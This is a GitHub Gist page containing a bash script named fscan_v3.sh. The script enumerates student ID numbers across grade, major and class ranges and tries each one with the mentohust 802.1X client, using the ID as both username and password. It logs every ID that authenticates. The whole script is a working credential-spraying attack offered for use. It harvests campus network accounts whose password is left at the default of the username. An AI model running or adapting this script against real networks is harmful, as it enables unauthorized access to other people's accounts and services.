Last active
August 29, 2015 14:06
-
-
Save fishtreesugar/c08af141f50f69038c58 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# NAME : fscan_v3.sh | |
# VERSION : v3 | |
# AUTHOR : FTS | |
# Example : sudo bash fscan_v3.sh 2008 2010 3001 3002 1 6 | |
# $1 lower-grade | |
# $2 upper-grade | |
# $3 lower-major | |
# $4 upper-major | |
# $5 lower-class | |
# $6 upper-class | |
name="`date -d now +%m%d%H%M`.log" | |
touch "$name" | |
printf "Range:\ngrade:$1-$2\nmajor:$3-$4\nclass:$5-$6\n\n" >> "$name" | |
killall dhclient 2> /dev/null | |
for grade in $(seq $1 $2) | |
do | |
for major in $(seq $3 $4) | |
do | |
for class in $(seq -f '%02g' $5 $6) | |
do | |
acc=0 | |
state=0 | |
for num in $(seq -f '%02g' 1 35) | |
do | |
string=${grade}${major}${class}${num} | |
# echo "$string" | |
mentohust -u"$string" -p"$string" -neth0 -l1 -a1 -d3 -v4.0 | tee temp | grep '** 用户名' | |
testone=$(grep "发送心跳包以保持在线" temp) | |
testtwo=$(grep "在线用户数量上限" temp) | |
testexist=$(grep "用户不存在" temp) | |
if [ "$testone" != "" ]; then | |
echo ${string} >> "$name" | |
fi | |
if [ "$testtwo" != "" ]; then | |
echo ${string} >> "$name" | |
fi | |
#==================================== | |
if [ "$testexist" = "" ]; then | |
state=0 | |
fi | |
if [ "$testexist" != "" ] && [ $state -eq 0 ]; then | |
state=1 | |
acc=1 | |
fi | |
if [ "$testexist" != "" ] && [ $state -eq 1 ]; then | |
let ++acc | |
fi | |
if [ $acc -eq 4 ]; then | |
#echo "$string" | |
break 1 | |
fi | |
done | |
done | |
done | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment